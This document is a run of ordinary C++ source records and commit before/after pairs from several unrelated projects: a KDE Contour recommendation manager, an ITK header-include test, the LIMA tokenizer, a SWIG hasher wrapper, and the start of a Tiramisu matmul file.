updateRecommendations();\n}\n\nvoid Contour::RecommendationManager::Private::_k_currentActivityChanged(const QString&)\n{\n updateRecommendations();\n}\n\nvoid Contour::RecommendationManager::Private::_k_newResults(const QList<Nepomuk::Query::Result>& results)\n{\n foreach(const Nepomuk::Query::Result& result, results) {\n Recommendation r;\n r.resourceUri = KUrl(result.resource().resourceUri()).url();\n\n kWarning() << \"Got a new result:\" << r.resourceUri << result.excerpt() << result.score();\n\n \/\/ for now we create the one dummy action: open the resource\n QString id;\n do {\n id = KRandom::randomString(5);\n } while(m_actionHash.contains(id));\n RecommendationAction action;\n action.id = id;\n action.text = i18n(\"Open '%1'\", result.resource().genericLabel());\n m_actionHash[id] = action;\n m_RecommendationForAction[id] = r;\n\n r.actions << action;\n\n m_recommendations << r;\n }\n}\n\nvoid Contour::RecommendationManager::Private::_k_queryFinished()\n{\n emit q->recommendationsChanged();\n}\n\nContour::RecommendationManager::RecommendationManager(QObject *parent)\n : QObject(parent),\n d(new Private())\n{\n d->q = this;\n\n connect(&d->m_queryClient, SIGNAL(newEntries(QList<Nepomuk::Query::Result>)),\n this, SLOT(_k_newResults(QList<Nepomuk::Query::Result>)));\n\n d->m_activityConsumer = new KActivityConsumer(this);\n connect(d->m_activityConsumer, SIGNAL(currentActivityChanged(QString)),\n this, SLOT(_k_currentActivityChanged(QString)));\n d->m_locationManager = new LocationManager(this);\n connect(d->m_locationManager, SIGNAL(locationChanged(QList<QLandmark>)),\n this, SLOT(_k_locationChanged(QList<QLandmark>)));\n d->updateRecommendations();\n\n \/\/ export via DBus\n qDBusRegisterMetaType<Contour::Recommendation>();\n qDBusRegisterMetaType<QList<Contour::Recommendation> >();\n qDBusRegisterMetaType<Contour::RecommendationAction>();\n (void)new RecommendationManagerAdaptor(this);\n QDBusConnection::sessionBus().registerObject(QLatin1String(\"\/recommendationmanager\"), this);\n}\n\nContour::RecommendationManager::~RecommendationManager()\n{\n delete d;\n}\n\nQList<Contour::Recommendation> Contour::RecommendationManager::recommendations() const\n{\n return d->m_recommendations;\n}\n\nvoid Contour::RecommendationManager::executeAction(const QString &actionId)\n{\n if(d->m_actionHash.contains(actionId)) {\n RecommendationAction action = d->m_actionHash.value(actionId);\n\n \/\/ FIXME: this is the hacky execution of the action, make it correct\n Recommendation r = d->m_RecommendationForAction.value(actionId);\n (void)new KRun(r.resourceUri, 0);\n }\n else {\n kDebug() << \"Invalid action id encountered:\" << actionId;\n }\n}\n\n#include \"recommendationmanager.moc\"\n<|endoftext|>"} {"text":"<commit_before>\/*=========================================================================\n\n Program: Insight Segmentation & Registration Toolkit (ITK)\n Module:\n Language: C++\n Date:\n Version:\n\n\nCopyright (c) 2000 National Library of Medicine\nAll rights reserved.\n\nSee COPYRIGHT.txt for copyright details.\n\n=========================================================================*\/\n#include <iostream>\n\/\/ This file has been generated by BuildHeaderTest.tcl\n\/\/ Test to include each header file for Insight\n\n#include \"itkAcosImageFilter.h\"\n#include \"itkAdaptImageFilter.h\"\n#include \"itkAddImageFilter.h\"\n#include \"itkAnisotropicDiffusionEquation.h\"\n#include \"itkAnisotropicDiffusionImageFilter.h\"\n#include \"itkAsinImageFilter.h\"\n#include \"itkAtan2ImageFilter.h\"\n#include \"itkAtanImageFilter.h\"\n#include \"itkBinaryDilateImageFilter.h\"\n#include \"itkBinaryErodeImageFilter.h\"\n#include \"itkBinaryFunctorImageFilter.h\"\n#include \"itkBinaryMagnitudeImageFilter.h\"\n#include \"itkBinaryMorphologicalDialationFilter.h\"\n#include \"itkBinaryMorphologicalErosionFilter.h\"\n#include \"itkBinaryMorphologicalFilterBase.h\"\n#include \"itkBinomialBlurImageFilter.h\"\n#include \"itkCastImageFilter.h\"\n#include \"itkConstantPadImageFilter.h\"\n#include \"itkCosImageFilter.h\"\n#include \"itkCurvature2DAnisotropicDiffusionEquation.h\"\n#include \"itkCurvatureAnisotropicDiffusionImageFilter.h\"\n#include \"itkCurvatureNDAnisotropicDiffusionEquation.h\"\n#include \"itkDanielssonDistanceMapImageFilter.h\"\n#include \"itkDerivativeImageFilter.h\"\n#include \"itkDifferenceOfGaussiansGradientImageFilter.h\"\n#include \"itkDiscreteGaussianImageFilter.h\"\n#include \"itkEigenAnalysis2DImageFilter.h\"\n#include \"itkExpImageFilter.h\"\n#include \"itkExpandImageFilter.h\"\n#include \"itkExtractImageFilter.h\"\n#include \"itkFileIOToImageFilter.h\"\n#include \"itkFirstDerivativeRecursiveGaussianImageFilter.h\"\n#include \"itkGradient2DAnisotropicDiffusionEquation.h\"\n#include \"itkGradientAnisotropicDiffusionImageFilter.h\"\n#include \"itkGradientImageFilter.h\"\n#include \"itkGradientMagnitudeImageFilter.h\"\n#include \"itkGradientNDAnisotropicDiffusionEquation.h\"\n#include \"itkGradientRecursiveGaussianImageFilter.h\"\n#include \"itkGradientToMagnitudeImageFilter.h\"\n#include \"itkGrayscaleDilateImageFilter.h\"\n#include \"itkGrayscaleErodeImageFilter.h\"\n#include \"itkGrayscaleFunctionDilateImageFilter.h\"\n#include \"itkGrayscaleFunctionErodeImageFilter.h\"\n#include \"itkImageFileReader.h\"\n#include \"itkImageToMeshFilter.h\"\n#include \"itkImageToParametricSpaceFilter.h\"\n#include \"itkImageWriter.h\"\n#include \"itkImportImageFilter.h\"\n#include \"itkJoinImageFilter.h\"\n#include \"itkLog10ImageFilter.h\"\n#include \"itkLogImageFilter.h\"\n#include \"itkMirrorPadImageFilter.h\"\n#include \"itkMorphologyImageFilter.h\"\n#include \"itkMultiplyImageFilter.h\"\n#include \"itkNaryAddImageFilter.h\"\n#include \"itkNaryFunctorImageFilter.h\"\n#include \"itkNeighborhoodOperatorImageFilter.h\"\n#include \"itkNonThreadedShrinkImageFilter.h\"\n#include \"itkPadImageFilter.h\"\n#include \"itkPlaheImageFilter.h\"\n#include \"itkRandomImageSource.h\"\n#include \"itkRawImageWriter.h\"\n#include \"itkRecursiveGaussianImageFilter.h\"\n#include \"itkRecursiveSeparableImageFilter.h\"\n#include \"itkReflectiveImageRegionIterator.h\"\n#include \"itkResampleImageFilter.h\"\n#include \"itkScalarAnisotropicDiffusionEquation.h\"\n#include \"itkSecondDerivativeRecursiveGaussianImageFilter.h\"\n#include \"itkShrinkImageFilter.h\"\n#include \"itkSinImageFilter.h\"\n#include \"itkSpatialFunctionImageEvaluatorFilter.h\"\n#include \"itkSqrtImageFilter.h\"\n#include \"itkStreamingImageFilter.h\"\n#include \"itkSubtractImageFilter.h\"\n#include \"itkTanImageFilter.h\"\n#include \"itkTernaryAddImageFilter.h\"\n#include \"itkTernaryFunctorImageFilter.h\"\n#include \"itkTernaryMagnitudeImageFilter.h\"\n#include \"itkTernaryMagnitudeSquaredImageFilter.h\"\n#include \"itkThresholdImageFilter.h\"\n#include \"itkTransformMeshFilter.h\"\n#include \"itkTwoOutputExampleImageFilter.h\"\n#include \"itkUnaryFunctorImageFilter.h\"\n#include \"itkVTKImageExport.h\"\n#include \"itkVTKImageExportBase.h\"\n#include \"itkVTKImageReader.h\"\n#include \"itkVTKImageWriter.h\"\n#include \"itkVectorAnisotropicDiffusionEquation.h\"\n#include \"itkVectorCastImageFilter.h\"\n#include \"itkVectorCurvature2DAnisotropicDiffusionEquation.h\"\n#include \"itkVectorCurvatureAnisotropicDiffusionImageFilter.h\"\n#include \"itkVectorCurvatureNDAnisotropicDiffusionEquation.h\"\n#include \"itkVectorExpandImageFilter.h\"\n#include \"itkVectorGradient2DAnisotropicDiffusionEquation.h\"\n#include \"itkVectorGradientAnisotropicDiffusionImageFilter.h\"\n#include \"itkVectorGradientNDAnisotropicDiffusionEquation.h\"\n#include \"itkVectorNeighborhoodOperatorImageFilter.h\"\n#include \"itkWarpImageFilter.h\"\n#include \"itkWrapPadImageFilter.h\"\n#include \"itkWriter.h\"\n\nint main ( int argc, char* argv )\n{\n \n return 0;\n}\n\n<commit_msg>ENH: Updated to latest headers<commit_after>\/*=========================================================================\n\n Program: Insight Segmentation & Registration Toolkit (ITK)\n Module:\n Language: C++\n Date:\n Version:\n\n\nCopyright (c) 2000 National Library of Medicine\nAll rights reserved.\n\nSee COPYRIGHT.txt for copyright details.\n\n=========================================================================*\/\n#include <iostream>\n\/\/ This file has been generated by BuildHeaderTest.tcl\n\/\/ Test to include each header file for Insight\n\n#include \"itkAcosImageFilter.h\"\n#include \"itkAdaptImageFilter.h\"\n#include \"itkAddImageFilter.h\"\n#include \"itkAnisotropicDiffusionEquation.h\"\n#include \"itkAnisotropicDiffusionImageFilter.h\"\n#include \"itkAsinImageFilter.h\"\n#include \"itkAtan2ImageFilter.h\"\n#include \"itkAtanImageFilter.h\"\n#include \"itkBinaryDilateImageFilter.h\"\n#include \"itkBinaryErodeImageFilter.h\"\n#include \"itkBinaryFunctorImageFilter.h\"\n#include \"itkBinaryMagnitudeImageFilter.h\"\n#include \"itkBinaryMorphologicalDialationFilter.h\"\n#include \"itkBinaryMorphologicalErosionFilter.h\"\n#include \"itkBinaryMorphologicalFilterBase.h\"\n#include \"itkBinomialBlurImageFilter.h\"\n#include \"itkCastImageFilter.h\"\n#include \"itkConstantPadImageFilter.h\"\n#include \"itkCosImageFilter.h\"\n#include \"itkCurvature2DAnisotropicDiffusionEquation.h\"\n#include \"itkCurvatureAnisotropicDiffusionImageFilter.h\"\n#include \"itkCurvatureNDAnisotropicDiffusionEquation.h\"\n#include \"itkDanielssonDistanceMapImageFilter.h\"\n#include \"itkDerivativeImageFilter.h\"\n#include \"itkDifferenceOfGaussiansGradientImageFilter.h\"\n#include \"itkDiscreteGaussianImageFilter.h\"\n#include \"itkEigenAnalysis2DImageFilter.h\"\n#include \"itkExpImageFilter.h\"\n#include \"itkExpandImageFilter.h\"\n#include \"itkExtractImageFilter.h\"\n#include \"itkFileIOToImageFilter.h\"\n#include \"itkFirstDerivativeRecursiveGaussianImageFilter.h\"\n#include \"itkGradient2DAnisotropicDiffusionEquation.h\"\n#include \"itkGradientAnisotropicDiffusionImageFilter.h\"\n#include \"itkGradientImageFilter.h\"\n#include \"itkGradientMagnitudeImageFilter.h\"\n#include \"itkGradientNDAnisotropicDiffusionEquation.h\"\n#include \"itkGradientRecursiveGaussianImageFilter.h\"\n#include \"itkGradientToMagnitudeImageFilter.h\"\n#include \"itkGrayscaleDilateImageFilter.h\"\n#include \"itkGrayscaleErodeImageFilter.h\"\n#include \"itkGrayscaleFunctionDilateImageFilter.h\"\n#include \"itkGrayscaleFunctionErodeImageFilter.h\"\n#include \"itkImageToMeshFilter.h\"\n#include \"itkImageToParametricSpaceFilter.h\"\n#include \"itkImageWriter.h\"\n#include \"itkImportImageFilter.h\"\n#include \"itkJoinImageFilter.h\"\n#include \"itkLog10ImageFilter.h\"\n#include \"itkLogImageFilter.h\"\n#include \"itkMirrorPadImageFilter.h\"\n#include \"itkMorphologyImageFilter.h\"\n#include \"itkMultiplyImageFilter.h\"\n#include \"itkNaryAddImageFilter.h\"\n#include \"itkNaryFunctorImageFilter.h\"\n#include \"itkNeighborhoodOperatorImageFilter.h\"\n#include \"itkNonThreadedShrinkImageFilter.h\"\n#include \"itkPadImageFilter.h\"\n#include \"itkPlaheImageFilter.h\"\n#include \"itkRandomImageSource.h\"\n#include \"itkRawImageWriter.h\"\n#include \"itkRecursiveGaussianImageFilter.h\"\n#include \"itkRecursiveSeparableImageFilter.h\"\n#include \"itkReflectiveImageRegionIterator.h\"\n#include \"itkResampleImageFilter.h\"\n#include \"itkScalarAnisotropicDiffusionEquation.h\"\n#include \"itkSecondDerivativeRecursiveGaussianImageFilter.h\"\n#include \"itkShrinkImageFilter.h\"\n#include \"itkSinImageFilter.h\"\n#include \"itkSpatialFunctionImageEvaluatorFilter.h\"\n#include \"itkSqrtImageFilter.h\"\n#include \"itkStreamingImageFilter.h\"\n#include \"itkSubtractImageFilter.h\"\n#include \"itkTanImageFilter.h\"\n#include \"itkTernaryAddImageFilter.h\"\n#include \"itkTernaryFunctorImageFilter.h\"\n#include \"itkTernaryMagnitudeImageFilter.h\"\n#include \"itkTernaryMagnitudeSquaredImageFilter.h\"\n#include \"itkThresholdImageFilter.h\"\n#include \"itkTransformMeshFilter.h\"\n#include \"itkTwoOutputExampleImageFilter.h\"\n#include \"itkUnaryFunctorImageFilter.h\"\n#include \"itkVTKImageExport.h\"\n#include \"itkVTKImageExportBase.h\"\n#include \"itkVTKImageReader.h\"\n#include \"itkVTKImageWriter.h\"\n#include \"itkVectorAnisotropicDiffusionEquation.h\"\n#include \"itkVectorCastImageFilter.h\"\n#include \"itkVectorCurvature2DAnisotropicDiffusionEquation.h\"\n#include \"itkVectorCurvatureAnisotropicDiffusionImageFilter.h\"\n#include \"itkVectorCurvatureNDAnisotropicDiffusionEquation.h\"\n#include \"itkVectorExpandImageFilter.h\"\n#include \"itkVectorGradient2DAnisotropicDiffusionEquation.h\"\n#include \"itkVectorGradientAnisotropicDiffusionImageFilter.h\"\n#include \"itkVectorGradientNDAnisotropicDiffusionEquation.h\"\n#include \"itkVectorNeighborhoodOperatorImageFilter.h\"\n#include \"itkWarpImageFilter.h\"\n#include \"itkWrapPadImageFilter.h\"\n#include \"itkWriter.h\"\n\nint main ( int argc, char* argv )\n{\n \n return 0;\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/*\n Copyright 2002-2013 CEA LIST\n\n This file is part of LIMA.\n\n LIMA is free software: you can redistribute it and\/or modify\n it under the terms of the GNU Affero General Public License as published by\n the Free Software Foundation, either version 3 of the License, or\n (at your option) any later version.\n\n LIMA is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU Affero General Public License for more details.\n\n You should have received a copy of the GNU Affero General Public License\n along with LIMA. If not, see <http:\/\/www.gnu.org\/licenses\/>\n*\/\n\n\/\/ NAUTITIA\n\/\/\n\/\/ jys 24-JUL-2002\n\/\/\n\/\/ Tokenizer is the main program of Tokenizer stuff.\n\n#include \"Tokenizer.h\"\n\n#include \"Automaton.h\"\n#include \"State.h\"\n\/\/ #include \"linguisticProcessing\/core\/Tokenizer\/CharChart.h\"\n#include \"common\/misc\/Exceptions.h\"\n#include \"common\/Data\/strwstrtools.h\"\n#include \"common\/AbstractFactoryPattern\/SimpleFactory.h\"\n#include \"linguisticProcessing\/core\/LinguisticResources\/LinguisticResources.h\"\n#include \"linguisticProcessing\/core\/LinguisticProcessors\/LimaStringText.h\"\n#include \"linguisticProcessing\/core\/LinguisticAnalysisStructure\/AnalysisGraph.h\"\n#include \"common\/XMLConfigurationFiles\/xmlConfigurationFileExceptions.h\"\n#include \"common\/MediaticData\/mediaticData.h\"\n#include \"common\/time\/timeUtilsController.h\"\n#include <string>\n\nusing namespace std;\nusing namespace Lima::LinguisticProcessing::LinguisticAnalysisStructure;\nusing namespace Lima::Common::XMLConfigurationFiles;\nusing namespace Lima::Common::Misc;\n\nnamespace Lima\n{\nnamespace LinguisticProcessing\n{\nnamespace FlatTokenizer\n{\n\nstatic SimpleFactory<MediaProcessUnit,Tokenizer> tokenizerFactory(FLATTOKENIZER_CLASSID);\n\n\nclass TokenizerPrivate\n{\npublic:\n TokenizerPrivate();\n virtual ~TokenizerPrivate();\n\n Automaton _automaton;\n CharChart* _charChart;\n MediaId _language;\n\n};\n\nTokenizerPrivate::TokenizerPrivate() : _automaton()\n{}\n\nTokenizerPrivate::~TokenizerPrivate()\n{\n}\n\nTokenizer::Tokenizer() : m_d(new TokenizerPrivate())\n{}\n\nTokenizer::~Tokenizer()\n{\n delete m_d;\n}\n\nconst CharChart* Tokenizer::charChart() const {return m_d->_charChart;}\nCharChart* Tokenizer::charChart() {return m_d->_charChart;}\nvoid Tokenizer::setCharChart(CharChart* charChart) {m_d->_charChart = charChart;}\n\nvoid Tokenizer::init(\n Common::XMLConfigurationFiles::GroupConfigurationStructure& unitConfiguration,\n Manager* manager)\n\n{\n TOKENIZERLOGINIT;\n LDEBUG << \"Tokenizer::init\";\n m_d->_language=manager->getInitializationParameters().media;\n try\n {\n string charchartId=unitConfiguration.getParamsValueAtKey(\"charChart\");\n AbstractResource* res=LinguisticResources::single().getResource(m_d->_language,charchartId);\n m_d->_charChart=static_cast<CharChart*>(res);\n }\n catch (NoSuchParam& )\n {\n LERROR << \"no param 'charChart' in Tokenizer group configuration (language=\"\n << (int) m_d->_language << \")\";\n throw InvalidConfiguration();\n }\n\n try\n {\n string resourcesPath=Common::MediaticData::MediaticData::single().getResourcesPath();\n string fileName=resourcesPath +\"\/\"+unitConfiguration.getParamsValueAtKey(\"automatonFile\");\n m_d->_automaton.setCharChart(m_d->_charChart);\n m_d->_automaton.loadFromFile(fileName);\n }\n catch (NoSuchParam& )\n {\n LERROR << \"no param 'automatonFile' in Tokenizer group configuration (language=\"\n << (int) m_d->_language << \")\";\n throw InvalidConfiguration();\n }\n \/\/ when input XML file is syntactically wrong\n catch (XmlSyntaxException exc)\n {\n std::ostringstream mess;\n mess << \"XmlSyntaxException at line \"<<exc._lineNumber<<\" cause: \";\n switch (exc._why)\n {\n case XmlSyntaxException::SYNTAX_EXC : mess << \"SYNTAX_EXC\"; break;\n case XmlSyntaxException::NO_DATA_EXC : mess << \"NO_DATA_EXC\"; break;\n case XmlSyntaxException::DOUBLE_EXC : mess << \"DOUBLE_EXC\"; break;\n case XmlSyntaxException::FWD_CLASS_EXC : mess << \"FWD_CLASS_EXC\"; break;\n case XmlSyntaxException::MULT_CLASS_EXC : mess << \"MULT_CLASS_EXC\"; break;\n case XmlSyntaxException::EOF_EXC : mess << \"EOF_EXC\"; break;\n case XmlSyntaxException::NO_CODE_EXC : mess << \"NO_CODE_EXC\"; break;\n case XmlSyntaxException::BAD_CODE_EXC : mess << \"BAD_CODE_EXC\"; break;\n case XmlSyntaxException::NO_CLASS_EXC : mess << \"NO_CLASS_EXC\"; break;\n case XmlSyntaxException::UNK_CLASS_EXC : mess << \"UNK_CLASS_EXC\"; break;\n case XmlSyntaxException::INT_ERROR_EXC : mess << \"INT_ERROR_EXC\"; break;\n case XmlSyntaxException::INV_CLASS_EXC : mess << \"INV_CLASS_EXC\"; break;\n default: mess << \"??\";\n }\n LERROR << mess.str();\n throw InvalidConfiguration();\n }\n catch (std::exception &exc)\n {\n \/\/ @todo remove all causes of InfiniteLoopException\n LERROR << exc.what();\n throw InvalidConfiguration();\n }\n\n}\n\nLimaStatusCode Tokenizer::process(\n AnalysisContent& analysis) const\n{\n TimeUtilsController flatTokenizerProcessTime(\"FlatTokenizer\");\n TOKENIZERLOGINIT;\n LINFO << \"start tokenizer process\";\n LimaStringText* originalText=static_cast<LimaStringText*>(analysis.getData(\"Text\"));\n AnalysisGraph* anagraph(0);\n\n anagraph=new AnalysisGraph(\"AnalysisGraph\",m_d->_language,true,true);\n analysis.setData(\"AnalysisGraph\",anagraph);\n LinguisticGraph* graph=anagraph->getGraph();\n \/\/ Gets transformed file into characters class string\n Text* text=new Text(m_d->_language, m_d->_charChart);\n text->setText(*originalText);\n text->setGraph(anagraph->firstVertex(),graph);\n\n LINFO << \"Running automaton on '\" << *originalText << \"'\";\n const State* newState = m_d->_automaton.run(*text);\n while (newState)\n {\n LTRACE << \"Running automaton\";\n newState = m_d->_automaton.run(*text, newState);\n }\n if (text->position() < text->size()-1)\n {\n LERROR << \"Tokenized up to \" << text->position()\n << \" for a text of size \" << text->size() ;\n }\n text->finalizeAndUnsetGraph();\n remove_edge(anagraph->firstVertex(),anagraph->lastVertex(),*(anagraph->getGraph()));\n delete text;\n return SUCCESS_ID;\n}\n\n} \/\/namespace FlatTokenizer\n} \/\/ namespace LinguisticProcessing\n} \/\/ namespace Lima\n<commit_msg>Simplify a debug output<commit_after>\/*\n Copyright 2002-2013 CEA LIST\n\n This file is part of LIMA.\n\n LIMA is free software: you can redistribute it and\/or modify\n it under the terms of the GNU Affero General Public License as published by\n the Free Software Foundation, either version 3 of the License, or\n (at your option) any later version.\n\n LIMA is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU Affero General Public License for more details.\n\n You should have received a copy of the GNU Affero General Public License\n along with LIMA. If not, see <http:\/\/www.gnu.org\/licenses\/>\n*\/\n\n\/\/ NAUTITIA\n\/\/\n\/\/ jys 24-JUL-2002\n\/\/\n\/\/ Tokenizer is the main program of Tokenizer stuff.\n\n#include \"Tokenizer.h\"\n\n#include \"Automaton.h\"\n#include \"State.h\"\n\/\/ #include \"linguisticProcessing\/core\/Tokenizer\/CharChart.h\"\n#include \"common\/misc\/Exceptions.h\"\n#include \"common\/Data\/strwstrtools.h\"\n#include \"common\/AbstractFactoryPattern\/SimpleFactory.h\"\n#include \"linguisticProcessing\/core\/LinguisticResources\/LinguisticResources.h\"\n#include \"linguisticProcessing\/core\/LinguisticProcessors\/LimaStringText.h\"\n#include \"linguisticProcessing\/core\/LinguisticAnalysisStructure\/AnalysisGraph.h\"\n#include \"common\/XMLConfigurationFiles\/xmlConfigurationFileExceptions.h\"\n#include \"common\/MediaticData\/mediaticData.h\"\n#include \"common\/time\/timeUtilsController.h\"\n#include <string>\n\nusing namespace std;\nusing namespace Lima::LinguisticProcessing::LinguisticAnalysisStructure;\nusing namespace Lima::Common::XMLConfigurationFiles;\nusing namespace Lima::Common::Misc;\n\nnamespace Lima\n{\nnamespace LinguisticProcessing\n{\nnamespace FlatTokenizer\n{\n\nstatic SimpleFactory<MediaProcessUnit,Tokenizer> tokenizerFactory(FLATTOKENIZER_CLASSID);\n\n\nclass TokenizerPrivate\n{\npublic:\n TokenizerPrivate();\n virtual ~TokenizerPrivate();\n\n Automaton _automaton;\n CharChart* _charChart;\n MediaId _language;\n\n};\n\nTokenizerPrivate::TokenizerPrivate() : _automaton()\n{}\n\nTokenizerPrivate::~TokenizerPrivate()\n{\n}\n\nTokenizer::Tokenizer() : m_d(new TokenizerPrivate())\n{}\n\nTokenizer::~Tokenizer()\n{\n delete m_d;\n}\n\nconst CharChart* Tokenizer::charChart() const {return m_d->_charChart;}\nCharChart* Tokenizer::charChart() {return m_d->_charChart;}\nvoid Tokenizer::setCharChart(CharChart* charChart) {m_d->_charChart = charChart;}\n\nvoid Tokenizer::init(\n Common::XMLConfigurationFiles::GroupConfigurationStructure& unitConfiguration,\n Manager* manager)\n\n{\n TOKENIZERLOGINIT;\n LDEBUG << \"Tokenizer::init\";\n m_d->_language=manager->getInitializationParameters().media;\n try\n {\n string charchartId=unitConfiguration.getParamsValueAtKey(\"charChart\");\n AbstractResource* res=LinguisticResources::single().getResource(m_d->_language,charchartId);\n m_d->_charChart=static_cast<CharChart*>(res);\n }\n catch (NoSuchParam& )\n {\n LERROR << \"no param 'charChart' in Tokenizer group configuration (language=\"\n << (int) m_d->_language << \")\";\n throw InvalidConfiguration();\n }\n\n try\n {\n string resourcesPath=Common::MediaticData::MediaticData::single().getResourcesPath();\n string fileName=resourcesPath +\"\/\"+unitConfiguration.getParamsValueAtKey(\"automatonFile\");\n m_d->_automaton.setCharChart(m_d->_charChart);\n m_d->_automaton.loadFromFile(fileName);\n }\n catch (NoSuchParam& )\n {\n LERROR << \"no param 'automatonFile' in Tokenizer group configuration (language=\"\n << (int) m_d->_language << \")\";\n throw InvalidConfiguration();\n }\n \/\/ when input XML file is syntactically wrong\n catch (XmlSyntaxException exc)\n {\n std::ostringstream mess;\n mess << \"XmlSyntaxException at line \"<<exc._lineNumber<<\" cause: \";\n switch (exc._why)\n {\n case XmlSyntaxException::SYNTAX_EXC : mess << \"SYNTAX_EXC\"; break;\n case XmlSyntaxException::NO_DATA_EXC : mess << \"NO_DATA_EXC\"; break;\n case XmlSyntaxException::DOUBLE_EXC : mess << \"DOUBLE_EXC\"; break;\n case XmlSyntaxException::FWD_CLASS_EXC : mess << \"FWD_CLASS_EXC\"; break;\n case XmlSyntaxException::MULT_CLASS_EXC : mess << \"MULT_CLASS_EXC\"; break;\n case XmlSyntaxException::EOF_EXC : mess << \"EOF_EXC\"; break;\n case XmlSyntaxException::NO_CODE_EXC : mess << \"NO_CODE_EXC\"; break;\n case XmlSyntaxException::BAD_CODE_EXC : mess << \"BAD_CODE_EXC\"; break;\n case XmlSyntaxException::NO_CLASS_EXC : mess << \"NO_CLASS_EXC\"; break;\n case XmlSyntaxException::UNK_CLASS_EXC : mess << \"UNK_CLASS_EXC\"; break;\n case XmlSyntaxException::INT_ERROR_EXC : mess << \"INT_ERROR_EXC\"; break;\n case XmlSyntaxException::INV_CLASS_EXC : mess << \"INV_CLASS_EXC\"; break;\n default: mess << \"??\";\n }\n LERROR << mess.str();\n throw InvalidConfiguration();\n }\n catch (std::exception &exc)\n {\n \/\/ @todo remove all causes of InfiniteLoopException\n LERROR << exc.what();\n throw InvalidConfiguration();\n }\n\n}\n\nLimaStatusCode Tokenizer::process(\n AnalysisContent& analysis) const\n{\n TimeUtilsController flatTokenizerProcessTime(\"FlatTokenizer\");\n TOKENIZERLOGINIT;\n LINFO << \"start tokenizer process\";\n LimaStringText* originalText=static_cast<LimaStringText*>(analysis.getData(\"Text\"));\n AnalysisGraph* anagraph(0);\n\n anagraph=new AnalysisGraph(\"AnalysisGraph\",m_d->_language,true,true);\n analysis.setData(\"AnalysisGraph\",anagraph);\n LinguisticGraph* graph=anagraph->getGraph();\n \/\/ Gets transformed file into characters class string\n Text* text=new Text(m_d->_language, m_d->_charChart);\n text->setText(*originalText);\n text->setGraph(anagraph->firstVertex(),graph);\n\n LINFO << \"Running automaton on\" << *originalText;\n const State* newState = m_d->_automaton.run(*text);\n while (newState)\n {\n LTRACE << \"Running automaton\";\n newState = m_d->_automaton.run(*text, newState);\n }\n if (text->position() < text->size()-1)\n {\n LERROR << \"Tokenized up to \" << text->position()\n << \" for a text of size \" << text->size() ;\n }\n text->finalizeAndUnsetGraph();\n remove_edge(anagraph->firstVertex(),anagraph->lastVertex(),*(anagraph->getGraph()));\n delete text;\n return SUCCESS_ID;\n}\n\n} \/\/namespace FlatTokenizer\n} \/\/ namespace LinguisticProcessing\n} \/\/ namespace Lima\n<|endoftext|>"} {"text":"<commit_before>#ifndef HASHEROBJ_PY\n#define HASHEROBJ_PY\n\n#include \"hasher_obj.hpp\"\n\n\n\/\/ Simpler HasherObject to be wrapped with SWIG\nclass HasherObjectPy {\n\n public:\n\n HasherObjectPy() {\n hobj = new HasherObject();\n };\n\n ~HasherObjectPy() {\n delete hobj;\n };\n\n int read_update_files() {\n return hobj->read_update_files();\n };\n\n int load_hashcodes() {\n return hobj->load_hashcodes();\n };\n\n int load_itq_model() {\n return hobj->load_itq_model();\n };\n\n void set_query_feats_from_disk(std::string filename) {\n hobj->set_query_feats_from_disk(filename);\n };\n\n void find_knn() {\n hobj->find_knn();\n };\n\n void set_paths() {\n hobj->set_paths();\n };\n\n void set_topk(int _top_k) {\n hobj->set_topk(_top_k);\n };\n\n void set_ratio(float _ratio) {\n hobj->set_ratio(_ratio);\n };\n\n void set_bit_num(int _bit_num) {\n hobj->set_bit_num(_bit_num);\n };\n\n void set_norm(int _norm) {\n hobj->set_norm(_norm);\n };\n\n void set_feature_dim(int _feature_dim) {\n hobj->set_feature_dim(_feature_dim);\n };\n\n void set_base_modelpath(std::string _base_modelpath){\n hobj->set_base_modelpath(_base_modelpath);\n };\n\n std::string get_base_modelpath(){\n return hobj->get_base_modelpath();\n };\n\n void set_base_updatepath(std::string _base_updatepath) {\n hobj->set_base_updatepath(_base_updatepath);\n };\n\n std::string get_base_updatepath() {\n return hobj->get_base_updatepath();\n };\n\n void set_outputfile(std::string _outname){\n hobj->set_outputfile(_outname);\n };\n\n private:\n\n HasherObject* hobj;\n\n};\n\n\n#endif\n<commit_msg>auto set paths and fill data nums<commit_after>#ifndef HASHEROBJ_PY\n#define HASHEROBJ_PY\n\n#include \"hasher_obj.hpp\"\n\n\n\/\/ Simpler HasherObject to be wrapped with SWIG\nclass HasherObjectPy {\n\n public:\n\n HasherObjectPy() {\n hobj = new HasherObject();\n };\n\n ~HasherObjectPy() {\n delete hobj;\n };\n\n int read_update_files() {\n return hobj->read_update_files();\n };\n\n int load_hashcodes() {\n hobj->fill_data_nums_accum();\n return hobj->load_hashcodes();\n };\n\n int load_itq_model() {\n return hobj->load_itq_model();\n };\n\n void set_query_feats_from_disk(std::string filename) {\n hobj->set_query_feats_from_disk(filename);\n };\n\n void find_knn() {\n hobj->find_knn();\n };\n\n void set_paths() {\n hobj->set_paths();\n };\n\n void set_topk(int _top_k) {\n hobj->set_topk(_top_k);\n };\n\n void set_ratio(float _ratio) {\n hobj->set_ratio(_ratio);\n };\n\n void set_bit_num(int _bit_num) {\n hobj->set_bit_num(_bit_num);\n };\n\n void set_norm(int _norm) {\n hobj->set_norm(_norm);\n };\n\n void set_feature_dim(int _feature_dim) {\n hobj->set_feature_dim(_feature_dim);\n };\n\n void set_base_modelpath(std::string _base_modelpath){\n hobj->set_base_modelpath(_base_modelpath);\n hobj->set_paths();\n };\n\n std::string get_base_modelpath(){\n return hobj->get_base_modelpath();\n };\n\n void set_base_updatepath(std::string _base_updatepath) {\n hobj->set_base_updatepath(_base_updatepath);\n hobj->set_paths();\n };\n\n std::string get_base_updatepath() {\n return hobj->get_base_updatepath();\n };\n\n void set_outputfile(std::string _outname){\n hobj->set_outputfile(_outname);\n };\n\n private:\n\n HasherObject* hobj;\n\n};\n\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>#include <tiramisu\/tiramisu.h>\n\n#include \"configuration.h\"\n\nusing namespace tiramisu;\n\nint main(int argc, char **argv)\n{\n \/\/ Double tiling with Register and Shared memory\n \/\/ Fused A_reg and non-square tiling\n\n tiramisu::init(\"matmul\");\n\n \/\/ 